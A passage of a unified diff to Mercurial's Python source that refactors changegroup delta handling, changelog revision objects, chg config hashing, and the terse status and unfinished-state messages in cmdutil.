-# GNU General Public License version 2 or any later version.
-
-from __future__ import absolute_import
-
-from ..pure.parsers import *
diff --git a/mercurial/changegroup.py b/mercurial/changegroup.py
--- a/mercurial/changegroup.py
+++ b/mercurial/changegroup.py
@@ -21,7 +21,6 @@
 
 from . import (
     dagutil,
-    discovery,
     error,
     mdiff,
     phases,
@@ -189,8 +188,7 @@
         header = struct.unpack(self.deltaheader, headerdata)
         delta = readexactly(self._stream, l - self.deltaheadersize)
         node, p1, p2, deltabase, cs, flags = self._deltaheader(header, prevnode)
-        return {'node': node, 'p1': p1, 'p2': p2, 'cs': cs,
-                'deltabase': deltabase, 'delta': delta, 'flags': flags}
+        return (node, p1, p2, cs, deltabase, delta, flags)
 
     def getchunks(self):
         """returns all the chunks contains in the bundle
@@ -199,23 +197,36 @@
         network API. To do so, it parse the changegroup data, otherwise it will
         block in case of sshrepo because it don't know the end of the stream.
         """
-        # an empty chunkgroup is the end of the changegroup
-        # a changegroup has at least 2 chunkgroups (changelog and manifest).
-        # after that, changegroup versions 1 and 2 have a series of groups
-        # with one group per file. changegroup 3 has a series of directory
-        # manifests before the files.
-        count = 0
-        emptycount = 0
-        while emptycount < self._grouplistcount:
-            empty = True
-            count += 1
+        # For changegroup 1 and 2, we expect 3 parts: changelog, manifestlog,
+        # and a list of filelogs. For changegroup 3, we expect 4 parts:
+        # changelog, manifestlog, a list of tree manifestlogs, and a list of
+        # filelogs.
+        #
+        # Changelog and manifestlog parts are terminated with empty chunks. The
+        # tree and file parts are a list of entry sections. Each entry section
+        # is a series of chunks terminating in an empty chunk. The list of these
+        # entry sections is terminated in yet another empty chunk, so we know
+        # we've reached the end of the tree/file list when we reach an empty
+        # chunk that was proceeded by no non-empty chunks.
+
+        parts = 0
+        while parts < 2 + self._grouplistcount:
+            noentries = True
             while True:
                 chunk = getchunk(self)
                 if not chunk:
-                    if empty and count > 2:
-                        emptycount += 1
+                    # The first two empty chunks represent the end of the
+                    # changelog and the manifestlog portions. The remaining
+                    # empty chunks represent either A) the end of individual
+                    # tree or file entries in the file list, or B) the end of
+                    # the entire list. It's the end of the entire list if there
+                    # were no entries (i.e. noentries is True).
+                    if parts < 2:
+                        parts += 1
+                    elif noentries:
+                        parts += 1
                     break
-                empty = False
+                noentries = False
                 yield chunkheader(len(chunk))
                 pos = 0
                 while pos < len(chunk):
@@ -233,7 +244,8 @@
         # no new manifest will be created and the manifest group will
         # be empty during the pull
         self.manifestheader()
-        repo.manifestlog._revlog.addgroup(self, revmap, trp)
+        deltas = self.deltaiter()
+        repo.manifestlog._revlog.addgroup(deltas, revmap, trp)
         repo.ui.progress(_('manifests'), None)
         self.callback = None
 
@@ -266,7 +278,8 @@
             # in this function.
             srctype = tr.hookargs.setdefault('source', srctype)
             url = tr.hookargs.setdefault('url', url)
-            repo.hook('prechangegroup', throw=True, **tr.hookargs)
+            repo.hook('prechangegroup',
+                      throw=True, **pycompat.strkwargs(tr.hookargs))
 
             # write changelog data to temp files so concurrent readers
             # will not see an inconsistent view
@@ -294,12 +307,13 @@
                 efiles.update(cl.readfiles(node))
 
             self.changelogheader()
-            cgnodes = cl.addgroup(self, csmap, trp, addrevisioncb=onchangelog)
+            deltas = self.deltaiter()
+            cgnodes = cl.addgroup(deltas, csmap, trp, addrevisioncb=onchangelog)
             efiles = len(efiles)
 
             if not cgnodes:
                 repo.ui.develwarn('applied empty changegroup',
-                                  config='empty-changegroup')
+                                  config='warn-empty-changegroup')
             clend = len(cl)
             changesets = clend - clstart
             repo.ui.progress(_('changesets'), None)
@@ -353,7 +367,8 @@
                     hookargs = dict(tr.hookargs)
                     hookargs['node'] = hex(cl.node(clstart))
                     hookargs['node_last'] = hex(cl.node(clend - 1))
-                repo.hook('pretxnchangegroup', throw=True, **hookargs)
+                repo.hook('pretxnchangegroup',
+                          throw=True, **pycompat.strkwargs(hookargs))
 
             added = [cl.node(r) for r in xrange(clstart, clend)]
             phaseall = None
@@ -388,13 +403,13 @@
                     if clstart >= len(repo):
                         return
 
-                    repo.hook("changegroup", **hookargs)
+                    repo.hook("changegroup", **pycompat.strkwargs(hookargs))
 
                     for n in added:
                         args = hookargs.copy()
                         args['node'] = hex(n)
                         del args['node_last']
-                        repo.hook("incoming", **args)
+                        repo.hook("incoming", **pycompat.strkwargs(args))
 
                     newheads = [h for h in repo.heads()
                                 if h not in oldheads]
@@ -414,6 +429,18 @@
             ret = deltaheads + 1
         return ret
 
+    def deltaiter(self):
+        """
+        returns an iterator of the deltas in this changegroup
+
+        Useful for passing to the underlying storage system to be stored.
+        """
+        chain = None
+        for chunkdata in iter(lambda: self.deltachunk(chain), {}):
+            # Chunkdata: (node, p1, p2, cs, deltabase, delta, flags)
+            yield chunkdata
+            chain = chunkdata[0]
+
 class cg2unpacker(cg1unpacker):
     """Unpacker for cg2 streams.
 
@@ -454,7 +481,8 @@
             d = chunkdata["filename"]
             repo.ui.debug("adding %s revisions\n" % d)
             dirlog = repo.manifestlog._revlog.dirlog(d)
-            if not dirlog.addgroup(self, revmap, trp):
+            deltas = self.deltaiter()
+            if not dirlog.addgroup(deltas, revmap, trp):
                 raise error.Abort(_("received dir revlog group is empty"))
 
 class headerlessfixup(object):
@@ -624,7 +652,7 @@
             'treemanifest' not in repo.requirements)
 
         for chunk in self.generatemanifests(commonrevs, clrevorder,
-                fastpathlinkrev, mfs, fnodes):
+                fastpathlinkrev, mfs, fnodes, source):
             yield chunk
         mfs.clear()
         clrevs = set(cl.rev(x) for x in clnodes)
@@ -650,7 +678,12 @@
             repo.hook('outgoing', node=hex(clnodes[0]), source=source)
 
     def generatemanifests(self, commonrevs, clrevorder, fastpathlinkrev, mfs,
-                          fnodes):
+                          fnodes, source):
+        """Returns an iterator of changegroup chunks containing manifests.
+
+        `source` is unused here, but is used by extensions like remotefilelog to
+        change what is sent based in pulls vs pushes, etc.
+        """
         repo = self._repo
         mfl = repo.manifestlog
         dirlog = mfl._revlog.dirlog
@@ -902,7 +935,17 @@
         for node in nodes:
             repo.ui.debug("%s\n" % hex(node))
 
-def getsubsetraw(repo, outgoing, bundler, source, fastpath=False):
+def makechangegroup(repo, outgoing, version, source, fastpath=False,
+                    bundlecaps=None):
+    cgstream = makestream(repo, outgoing, version, source,
+                          fastpath=fastpath, bundlecaps=bundlecaps)
+    return getunbundler(version, util.chunkbuffer(cgstream), None,
+                        {'clcount': len(outgoing.missing) })
+
+def makestream(repo, outgoing, version, source, fastpath=False,
+               bundlecaps=None):
+    bundler = getbundler(version, repo, bundlecaps=bundlecaps)
+
     repo = repo.unfiltered()
     commonrevs = outgoing.common
     csets = outgoing.missing
@@ -918,59 +961,6 @@
     _changegroupinfo(repo, csets, source)
     return bundler.generate(commonrevs, csets, fastpathlinkrev, source)
 
-def getsubset(repo, outgoing, bundler, source, fastpath=False):
-    gengroup = getsubsetraw(repo, outgoing, bundler, source, fastpath)
-    return getunbundler(bundler.version, util.chunkbuffer(gengroup), None,
-                        {'clcount': len(outgoing.missing)})
-
-def changegroupsubset(repo, roots, heads, source, version='01'):
-    """Compute a changegroup consisting of all the nodes that are
-    descendants of any of the roots and ancestors of any of the heads.
-    Return a chunkbuffer object whose read() method will return
-    successive changegroup chunks.
-
-    It is fairly complex as determining which filenodes and which
-    manifest nodes need to be included for the changeset to be complete
-    is non-trivial.
-
-    Another wrinkle is doing the reverse, figuring out which changeset in
-    the changegroup a particular filenode or manifestnode belongs to.
-    """
-    outgoing = discovery.outgoing(repo, missingroots=roots, missingheads=heads)
-    bundler = getbundler(version, repo)
-    return getsubset(repo, outgoing, bundler, source)
-
-def getlocalchangegroupraw(repo, source, outgoing, bundlecaps=None,
-                           version='01'):
-    """Like getbundle, but taking a discovery.outgoing as an argument.
-
-    This is only implemented for local repos and reuses potentially
-    precomputed sets in outgoing. Returns a raw changegroup generator."""
-    if not outgoing.missing:
-        return None
-    bundler = getbundler(version, repo, bundlecaps)
-    return getsubsetraw(repo, outgoing, bundler, source)
-
-def getchangegroup(repo, source, outgoing, bundlecaps=None,
-                   version='01'):
-    """Like getbundle, but taking a discovery.outgoing as an argument.
-
-    This is only implemented for local repos and reuses potentially
-    precomputed sets in outgoing."""
-    if not outgoing.missing:
-        return None
-    bundler = getbundler(version, repo, bundlecaps)
-    return getsubset(repo, outgoing, bundler, source)
-
-def getlocalchangegroup(repo, *args, **kwargs):
-    repo.ui.deprecwarn('getlocalchangegroup is deprecated, use getchangegroup',
-                       '4.3')
-    return getchangegroup(repo, *args, **kwargs)
-
-def changegroup(repo, basenodes, source):
-    # to avoid a race we use changegroupsubset() (issue1320)
-    return changegroupsubset(repo, basenodes, repo.heads(), source)
-
 def _addchangegroupfiles(repo, source, revmap, trp, expectedfiles, needfiles):
     revisions = 0
     files = 0
@@ -983,7 +973,8 @@
         fl = repo.file(f)
         o = len(fl)
         try:
-            if not fl.addgroup(source, revmap, trp):
+            deltas = source.deltaiter()
+            if not fl.addgroup(deltas, revmap, trp):
                 raise error.Abort(_("received file revlog group is empty"))
         except error.CensoredBaseError as e:
             raise error.Abort(_("received delta base is censored: %s") % e)
diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -7,14 +7,15 @@
 
 from __future__ import absolute_import
 
-import collections
-
 from .i18n import _
 from .node import (
     bin,
     hex,
     nullid,
 )
+from .thirdparty import (
+    attr,
+)
 
 from . import (
     encoding,
@@ -27,8 +28,9 @@
 
 def _string_escape(text):
     """
-    >>> d = {'nl': chr(10), 'bs': chr(92), 'cr': chr(13), 'nul': chr(0)}
-    >>> s = "ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
+    >>> from .pycompat import bytechr as chr
+    >>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)}
+    >>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
     >>> s
     'ab\\ncd\\\\\\\\n\\x00ab\\rcd\\\\\\n'
     >>> res = _string_escape(s)
@@ -41,12 +43,13 @@
 
 def decodeextra(text):
     """
-    >>> sorted(decodeextra(encodeextra({'foo': 'bar', 'baz': chr(0) + '2'})
-    ...                    ).iteritems())
+    >>> from .pycompat import bytechr as chr
+    >>> sorted(decodeextra(encodeextra({b'foo': b'bar', b'baz': chr(0) + b'2'})
+    ...                    ).items())
     [('baz', '\\x002'), ('branch', 'default'), ('foo', 'bar')]
-    >>> sorted(decodeextra(encodeextra({'foo': 'bar',
-    ...                                 'baz': chr(92) + chr(0) + '2'})
-    ...                    ).iteritems())
+    >>> sorted(decodeextra(encodeextra({b'foo': b'bar',
+    ...                                 b'baz': chr(92) + chr(0) + b'2'})
+    ...                    ).items())
     [('baz', '\\\\\\x002'), ('branch', 'default'), ('foo', 'bar')]
     """
     extra = _defaultextra.copy()
@@ -140,10 +143,16 @@
         return appender(opener, name, mode, buf)
     return _delay
 
-_changelogrevision = collections.namedtuple(u'changelogrevision',
-                                            (u'manifest', u'user', u'date',
-                                             u'files', u'description',
-                                             u'extra'))
+@attr.s
+class _changelogrevision(object):
+    # Extensions might modify _defaultextra, so let the constructor below pass
+    # it in
+    extra = attr.ib()
+    manifest = attr.ib(default=nullid)
+    user = attr.ib(default='')
+    date = attr.ib(default=(0, 0))
+    files = attr.ib(default=attr.Factory(list))
+    description = attr.ib(default='')
 
 class changelogrevision(object):
     """Holds results of a parsed changelog revision.
@@ -160,14 +169,7 @@
 
     def __new__(cls, text):
         if not text:
-            return _changelogrevision(
-                manifest=nullid,
-                user='',
-                date=(0, 0),
-                files=[],
-                description='',
-                extra=_defaultextra,
-            )
+            return _changelogrevision(extra=_defaultextra)
 
         self = super(changelogrevision, cls).__new__(cls)
         # We could return here and implement the following as an __init__.
@@ -275,7 +277,7 @@
 
         datafile = '00changelog.d'
         revlog.revlog.__init__(self, opener, indexfile, datafile=datafile,
-                               checkambig=True)
+                               checkambig=True, mmaplargeindex=True)
 
         if self._initempty:
             # changelogs don't benefit from generaldelta
diff --git a/mercurial/chgserver.py b/mercurial/chgserver.py
--- a/mercurial/chgserver.py
+++ b/mercurial/chgserver.py
@@ -68,10 +68,15 @@
 # sensitive config sections affecting confighash
 _configsections = [
     'alias',  # affects global state commands.table
+    'eol',    # uses setconfig('eol', ...)
     'extdiff',  # uisetup will register new commands
     'extensions',
 ]
 
+_configsectionitems = [
+    ('commands', 'show.aliasprefix'), # show.py reads it in extsetup
+]
+
 # sensitive environment variables affecting confighash
 _envre = re.compile(r'''\A(?:
                     CHGHG
@@ -100,9 +105,16 @@
     sectionitems = []
     for section in _configsections:
         sectionitems.append(ui.configitems(section))
+    for section, item in _configsectionitems:
+        sectionitems.append(ui.config(section, item))
     sectionhash = _hashlist(sectionitems)
+    # If $CHGHG is set, the change to $HG should not trigger a new chg server
+    if 'CHGHG' in encoding.environ:
+        ignored = {'HG'}
+    else:
+        ignored = set()
     envitems = [(k, v) for k, v in encoding.environ.iteritems()
-                if _envre.match(k)]
+                if _envre.match(k) and k not in ignored]
     envhash = _hashlist(sorted(envitems))
     return sectionhash[:6] + envhash[:6]
 
@@ -565,8 +577,11 @@
                             self._hashstate, self._baseaddress)
 
 def chgunixservice(ui, repo, opts):
-    # CHGINTERNALMARK is temporarily set by chg client to detect if chg will
-    # start another chg. drop it to avoid possible side effects.
+    # CHGINTERNALMARK is set by chg client. It is an indication of things are
+    # started by chg so other code can do things accordingly, like disabling
+    # demandimport or detecting chg client started by chg client. When executed
+    # here, CHGINTERNALMARK is no longer useful and hence dropped to make
+    # environ cleaner.
     if 'CHGINTERNALMARK' in encoding.environ:
         del encoding.environ['CHGINTERNALMARK']
 
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -26,16 +26,17 @@
     changelog,
     copies,
     crecord as crecordmod,
+    dagop,
     dirstateguard,
     encoding,
     error,
     formatter,
     graphmod,
     match as matchmod,
+    mdiff,
     obsolete,
     patch,
     pathutil,
-    phases,
     pycompat,
     registrar,
     revlog,
@@ -123,6 +124,8 @@
      _('ignore changes in the amount of white space')),
     ('B', 'ignore-blank-lines', None,
      _('ignore changes whose lines are all blank')),
+    ('Z', 'ignore-space-at-eol', None,
+     _('ignore changes in whitespace at EOL')),
 ]
 
 diffopts2 = [
@@ -277,7 +280,7 @@
         # 1. filter patch, since we are intending to apply subset of it
         try:
             chunks, newopts = filterfn(ui, originalchunks)
-        except patch.PatchError as err:
+        except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
         opts.update(newopts)
 
@@ -339,7 +342,7 @@
                              + crecordmod.patchhelptext
                              + fp.read())
                 reviewedpatch = ui.edit(patchtext, "",
-                                        extra={"suffix": ".diff"},
+                                        action="diff",
                                         repopath=repo.path)
                 fp.truncate(0)
                 fp.write(reviewedpatch)
@@ -359,7 +362,7 @@
                     ui.debug('applying patch\n')
                     ui.debug(fp.getvalue())
                     patch.internalpatch(ui, repo, fp, 1, eolmode=None)
-                except patch.PatchError as err:
+                except error.PatchError as err:
                     raise error.Abort(str(err))
             del fp
 
@@ -401,177 +404,265 @@
 
     return commit(ui, repo, recordinwlock, pats, opts)
 
-def tersestatus(root, statlist, status, ignorefn, ignore):
+
+# extracted at module level as it's required each time a file will be added
+# to dirnode class object below
+pathsep = pycompat.ossep
+
+class dirnode(object):
     """
-    Returns a list of statuses with directory collapsed if all the files in the
-    directory has the same status.
+    Represent a directory in user working copy with information required for
+    the purpose of tersing its status.
+
+    path is the path to the directory
+
+    statuses is a set of statuses of all files in this directory (this includes
+    all the files in all the subdirectories too)
+
+    files is a list of files which are direct child of this directory
+
+    subdirs is a dictionary of sub-directory name as the key and it's own
+    dirnode object as the value
     """
 
-    def numfiles(dirname):
+    def __init__(self, dirpath):
+        self.path = dirpath
+        self.statuses = set([])
+        self.files = []
+        self.subdirs = {}
+
+    def _addfileindir(self, filename, status):
+        """Add a file in this directory as a direct child."""
+        self.files.append((filename, status))
+
+    def addfile(self, filename, status):
         """
-        Calculates the number of tracked files in a given directory which also
-        includes files which were removed or deleted. Considers ignored files
-        if ignore argument is True or 'i' is present in status argument.
+        Add a file to this directory or to its direct parent directory.
+
+        If the file is not direct child of this directory, we traverse to the
+        directory of which this file is a direct child of and add the file
+        there.
         """
-        if lencache.get(dirname):
-            return lencache[dirname]
-        if 'i' in status or ignore:
-            def match(localpath):
-                absolutepath = os.path.join(root, localpath)
-                if os.path.isdir(absolutepath) and isemptydir(absolutepath):
-                    return True
-                return False
+
+        # the filename contains a path separator, it means it's not the direct
+        # child of this directory
+        if pathsep in filename:
+            subdir, filep = filename.split(pathsep, 1)
+
+            # does the dirnode object for subdir exists
+            if subdir not in self.subdirs:
+                subdirpath = os.path.join(self.path, subdir)
+                self.subdirs[subdir] = dirnode(subdirpath)
+
+            # try adding the file in subdir
+            self.subdirs[subdir].addfile(filep, status)
+
         else:
-            def match(localpath):
-                # there can be directory whose all the files are ignored and
-                # hence the drectory should also be ignored while counting
-                # number of files or subdirs in it's parent directory. This
-                # checks the same.
-                # XXX: We need a better logic here.
-                if os.path.isdir(os.path.join(root, localpath)):
-                    return isignoreddir(localpath)
-                else:
-                    # XXX: there can be files which have the ignored pattern but
-                    # are not ignored. That leads to bug in counting number of
-                    # tracked files in the directory.
-                    return ignorefn(localpath)
-        lendir = 0
-        abspath = os.path.join(root, dirname)
-        # There might be cases when a directory does not exists as the whole
-        # directory can be removed and/or deleted.
-        try:
-            for f in os.listdir(abspath):
-                localpath = os.path.join(dirname, f)
-                if not match(localpath):
-                    lendir += 1
-        except OSError:
-            pass
-        lendir += len(absentdir.get(dirname, []))
-        lencache[dirname] = lendir
-        return lendir
-
-    def isemptydir(abspath):
+            self._addfileindir(filename, status)
+
+        if status not in self.statuses:
+            self.statuses.add(status)
+
+    def iterfilepaths(self):
+        """Yield (status, path) for files directly under this directory."""
+        for f, st in self.files:
+            yield st, os.path.join(self.path, f)
+
+    def tersewalk(self, terseargs):
         """
-        Check whether a directory is empty or not, i.e. there is no files in the
-        directory and all its subdirectories.
-        """
-        for f in os.listdir(abspath):
-            fullpath = os.path.join(abspath, f)
-            if os.path.isdir(fullpath):
-                # recursion here
-                ret = isemptydir(fullpath)
-                if not ret:
-                    return False
-            else:
-                return False
-        return True
-
-    def isignoreddir(localpath):
-        """
-        This function checks whether the directory contains only ignored files
-        and hence should the directory be considered ignored. Returns True, if
-        that should be ignored otherwise False.
-        """
-        dirpath = os.path.join(root, localpath)
-        for f in os.listdir(dirpath):
-            filepath = os.path.join(dirpath, f)
-            if os.path.isdir(filepath):
-                # recursion here
-                ret = isignoreddir(os.path.join(localpath, f))
-                if not ret:
-                    return False
-            else:
-                if not ignorefn(os.path.join(localpath, f)):
-                    return False
-        return True
-
-    def absentones(removedfiles, missingfiles):
+        Yield (status, path) obtained by processing the status of this
+        dirnode.
+
+        terseargs is the string of arguments passed by the user with `--terse`
+        flag.
+
+        Following are the cases which can happen:
+
+        1) All the files in the directory (including all the files in its
+        subdirectories) share the same status and the user has asked us to terse
+        that status. -> yield (status, dirpath)
+
+        2) Otherwise, we do following:
+
+                a) Yield (status, filepath)  for all the files which are in this
+                    directory (only the ones in this directory, not the subdirs)
+
+                b) Recurse the function on all the subdirectories of this
+                   directory
         """
-        Returns a dictionary of directories with files in it which are either
-        removed or missing (deleted) in them.
-        """
-        absentdir = {}
-        absentfiles = removedfiles + missingfiles
-        while absentfiles:
-            f = absentfiles.pop()
-            par = os.path.dirname(f)
-            if par == '':
-                continue
-            # we need to store files rather than number of files as some files
-            # or subdirectories in a directory can be counted twice. This is
-            # also we have used sets here.
-            try:
-                absentdir[par].add(f)
-            except KeyError:
-                absentdir[par] = set([f])
-            absentfiles.append(par)
-        return absentdir
-
-    indexes = {'m': 0, 'a': 1, 'r': 2, 'd': 3, 'u': 4, 'i': 5, 'c': 6}
-    # get a dictonary of directories and files which are missing as os.listdir()
-    # won't be able to list them.
-    absentdir = absentones(statlist[2], statlist[3])
-    finalrs = [[]] * len(indexes)
-    didsomethingchanged = False
-    # dictionary to store number of files and subdir in a directory so that we
-    # don't compute that again.
-    lencache = {}
-
-    for st in pycompat.bytestr(status):
-
-        try:
-            ind = indexes[st]
-        except KeyError:
-            # TODO: Need a better error message here
-            raise error.Abort("'%s' not recognized" % st)
-
-        sfiles = statlist[ind]
-        if not sfiles:
+
+        if len(self.statuses) == 1:
+            onlyst = self.statuses.pop()
+
+            # Making sure we terse only when the status abbreviation is
+            # passed as terse argument
+            if onlyst in terseargs:
+                yield onlyst, self.path + pycompat.ossep
+                return
+
+        # add the files to status list
+        for st, fpath in self.iterfilepaths():
+            yield st, fpath
+
+        #recurse on the subdirs
+        for dirobj in self.subdirs.values():
+            for st, fpath in dirobj.tersewalk(terseargs):
+                yield st, fpath
+
+def tersedir(statuslist, terseargs):
+    """
+    Terse the status if all the files in a directory shares the same status.
+
+    statuslist is scmutil.status() object which contains a list of files for
+    each status.
+    terseargs is string which is passed by the user as the argument to `--terse`
+    flag.
+
+    The function makes a tree of objects of dirnode class, and at each node it
+    stores the information required to know whether we can terse a certain
+    directory or not.
+    """
+    # the order matters here as that is used to produce final list
+    allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
+
+    # checking the argument validity
+    for s in pycompat.bytestr(terseargs):
+        if s not in allst:
+            raise error.Abort(_("'%s' not recognized") % s)
+
+    # creating a dirnode object for the root of the repo
+    rootobj = dirnode('')
+    pstatus = ('modified', 'added', 'deleted', 'clean', 'unknown',
+               'ignored', 'removed')
+
+    tersedict = {}
+    for attrname in pstatus:
+        statuschar = attrname[0:1]
+        for f in getattr(statuslist, attrname):
+            rootobj.addfile(f, statuschar)
+        tersedict[statuschar] = []
+
+    # we won't be tersing the root dir, so add files in it
+    for st, fpath in rootobj.iterfilepaths():
+        tersedict[st].append(fpath)
+
+    # process each sub-directory and build tersedict
+    for subdir in rootobj.subdirs.values():
+        for st, f in subdir.tersewalk(terseargs):
+            tersedict[st].append(f)
+
+    tersedlist = []
+    for st in allst:
+        tersedict[st].sort()
+        tersedlist.append(tersedict[st])
+
+    return tersedlist
+
+def _commentlines(raw):
+    '''Surround lineswith a comment char and a new line'''
+    lines = raw.splitlines()
+    commentedlines = ['# %s' % line for line in lines]
+    return '\n'.join(commentedlines) + '\n'
+
+def _conflictsmsg(repo):
+    # avoid merge cycle
+    from . import merge as mergemod
+    mergestate = mergemod.mergestate.read(repo)
+    if not mergestate.active():
+        return
+
+    m = scmutil.match(repo[None])
+    unresolvedlist = [f for f in mergestate.unresolved() if m(f)]
+    if unresolvedlist:
+        mergeliststr = '\n'.join(
+            ['    %s' % os.path.relpath(
+                os.path.join(repo.root, path),
+                pycompat.getcwd()) for path in unresolvedlist])
+        msg = _('''Unresolved merge conflicts:
+
+%s
+
+To mark files as resolved:  hg resolve --mark FILE''') % mergeliststr
+    else:
+        msg = _('No unresolved merge conflicts.')
+
+    return _commentlines(msg)
+
+def _helpmessage(continuecmd, abortcmd):
+    msg = _('To continue:                %s\n'
+            'To abort:                   %s') % (continuecmd, abortcmd)
+    return _commentlines(msg)
+
+def _rebasemsg():
+    return _helpmessage('hg rebase --continue', 'hg rebase --abort')
+
+def _histeditmsg():
+    return _helpmessage('hg histedit --continue', 'hg histedit --abort')
+
+def _unshelvemsg():
+    return _helpmessage('hg unshelve --continue', 'hg unshelve --abort')
+
+def _updatecleanmsg(dest=None):
+    warning = _('warning: this will discard uncommitted changes')
+    return 'hg update --clean %s    (%s)' % (dest or '.', warning)
+
+def _graftmsg():
+    # tweakdefaults requires `update` to have a rev hence the `.`
+    return _helpmessage('hg graft --continue', _updatecleanmsg())
+
+def _mergemsg():
+    # tweakdefaults requires `update` to have a rev hence the `.`
+     return _helpmessage('hg commit', _updatecleanmsg())
+
+def _bisectmsg():
+    msg = _('To mark the changeset good:    hg bisect --good\n'
+            'To mark the changeset bad:     hg bisect --bad\n'
+            'To abort:                      hg bisect --reset\n')
+    return _commentlines(msg)
+
+def fileexistspredicate(filename):
+    return lambda repo: repo.vfs.exists(filename)
+
+def _mergepredicate(repo):
+    return len(repo[None].parents()) > 1
+
+STATES = (
+    # (state, predicate to detect states, helpful message function)
+    ('histedit', fileexistspredicate('histedit-state'), _histeditmsg),
+    ('bisect', fileexistspredicate('bisect.state'), _bisectmsg),
+    ('graft', fileexistspredicate('graftstate'), _graftmsg),
+    ('unshelve', fileexistspredicate('unshelverebasestate'), _unshelvemsg),
+    ('rebase', fileexistspredicate('rebasestate'), _rebasemsg),
+    # The merge state is part of a list that will be iterated over.
+    # They need to be last because some of the other unfinished states may also
+    # be in a merge or update state (eg. rebase, histedit, graft, etc).
+    # We want those to have priority.
+    ('merge', _mergepredicate, _mergemsg),
+)
+
+def _getrepostate(repo):
+    # experimental config: commands.status.skipstates
+    skip = set(repo.ui.configlist('commands', 'status.skipstates'))
+    for state, statedetectionpredicate, msgfn in STATES:
+        if state in skip:
             continue
-        pardict = {}
-        for a in sfiles:
-            par = os.path.dirname(a)
-            pardict.setdefault(par, []).append(a)
-
-        rs = []
-        newls = []
-        for par, files in pardict.iteritems():
-            lenpar = numfiles(par)
-            if lenpar == len(files):
-                newls.append(par)
-
-        if not newls:
-            continue
-
-        while newls:
-            newel = newls.pop()
-            if newel == '':
-                continue
-            parn = os.path.dirname(newel)
-            pardict[newel] = []
-            # Adding pycompat.ossep as newel is a directory.
-            pardict.setdefault(parn, []).append(newel + pycompat.ossep)
-            lenpar = numfiles(parn)
-            if lenpar == len(pardict[parn]):
-                newls.append(parn)
-
-        # dict.values() for Py3 compatibility
-        for files in pardict.values():
-            rs.extend(files)
-
-        rs.sort()
-        finalrs[ind] = rs
-        didsomethingchanged = True
-
-    # If nothing is changed, make sure the order of files is preserved.
-    if not didsomethingchanged:
-        return statlist
-
-    for x in xrange(len(indexes)):
-        if not finalrs[x]:
-            finalrs[x] = statlist[x]
-
-    return finalrs
+        if statedetectionpredicate(repo):
+            return (state, statedetectionpredicate, msgfn)
+
+def morestatus(repo, fm):
+    statetuple = _getrepostate(repo)
+    label = 'status.morestatus'
+    if statetuple:
+        fm.startitem()
+        state, statedetectionpredicate, helpfulmsg = statetuple
+        statemsg = _('The repository is in an unfinished *%s* state.') % state
+        fm.write('statemsg', '%s\n',  _commentlines(statemsg), label=label)
+        conmsg = _conflictsmsg(repo)
+        if conmsg:
+            fm.write('conflictsmsg', '%s\n', conmsg, label=label)
+        if helpfulmsg:
+            helpmsg = helpfulmsg()
+            fm.write('helpmsg', '%s\n', helpmsg, label=label)
 
 def findpossible(cmd, table, strict=False):
     """
@@ -669,7 +760,7 @@
                 message = '\n'.join(util.readfile(logfile).splitlines())
         except IOError as inst:
             raise error.Abort(_("can't read commit message '%s': %s") %
-                             (logfile, inst.strerror))
+                             (logfile, encoding.strtolocal(inst.strerror)))
     return message
 
 def mergeeditform(ctxorbool, baseformname):
@@ -991,7 +1082,7 @@
                     srcexists = False
                 else:
                     ui.warn(_('%s: cannot copy - %s\n') %
-                            (relsrc, inst.strerror))
+                            (relsrc, encoding.strtolocal(inst.strerror)))
                     return True # report a failure
 
         if ui.verbose or not exact:
@@ -1227,7 +1318,7 @@
             try:
                 patch.patch(ui, repo, tmpname, strip=strip, prefix=prefix,
                             files=files, eolmode=None, similarity=sim / 100.0)
-            except patch.PatchError as e:
+            except error.PatchError as e:
                 if not partial:
                     raise error.Abort(str(e))
                 if partial:
@@ -1273,7 +1364,7 @@
                 try:
                     patch.patchrepo(ui, repo, p1, store, tmpname, strip, prefix,
                                     files, eolmode=None)
-                except patch.PatchError as e:
+                except error.PatchError as e:
                     raise error.Abort(str(e))
                 if opts.get('exact'):
                     editor = None
@@ -1406,7 +1497,7 @@
 
 def diffordiffstat(ui, repo, diffopts, node1, node2, match,
                    changes=None, stat=False, fp=None, prefix='',
-                   root='', listsubrepos=False):
+                   root='', listsubrepos=False, hunksfilterfn=None):
     '''show diff or diffstat.'''
     if fp is None:
         write = ui.write
@@ -1434,14 +1525,16 @@
         if not ui.plain():
             width = ui.termwidth()
         chunks = patch.diff(repo, node1, node2, match, changes, diffopts,
-                            prefix=prefix, relroot=relroot)
+                            prefix=prefix, relroot=relroot,
+                            hunksfilterfn=hunksfilterfn)
         for chunk, label in patch.diffstatui(util.iterlines(chunks),
                                              width=width):
             write(chunk, label=label)
     else:
         for chunk, label in patch.diffui(repo, node1, node2, match,
                                          changes, diffopts, prefix=prefix,
-                                         relroot=relroot):
+                                         relroot=relroot,
+                                         hunksfilterfn=hunksfilterfn):
             write(chunk, label=label)
 
     if listsubrepos:
@@ -1465,10 +1558,10 @@
     labels = ['log.changeset', 'changeset.%s' % ctx.phasestr()]
     if ctx.obsolete():
         labels.append('changeset.obsolete')
-    if ctx.troubled():
-        labels.append('changeset.troubled')
-        for trouble in ctx.troubles():
-            labels.append('trouble.%s' % trouble)
+    if ctx.isunstable():
+        labels.append('changeset.unstable')
+        for instability in ctx.instabilities():
+            labels.append('instability.%s' % instability)
     return ' '.join(labels)
 
 class changeset_printer(object):
@@ -1503,35 +1596,30 @@
         if self.footer:
             self.ui.write(self.footer)
 
-    def show(self, ctx, copies=None, matchfn=None, **props):
+    def show(self, ctx, copies=None, matchfn=None, hunksfilterfn=None,
+             **props):
         props = pycompat.byteskwargs(props)
         if self.buffered:
             self.ui.pushbuffer(labeled=True)
-            self._show(ctx, copies, matchfn, props)
+            self._show(ctx, copies, matchfn, hunksfilterfn, props)
             self.hunk[ctx.rev()] = self.ui.popbuffer()
         else:
-            self._show(ctx, copies, matchfn, props)
-
-    def _show(self, ctx, copies, matchfn, props):
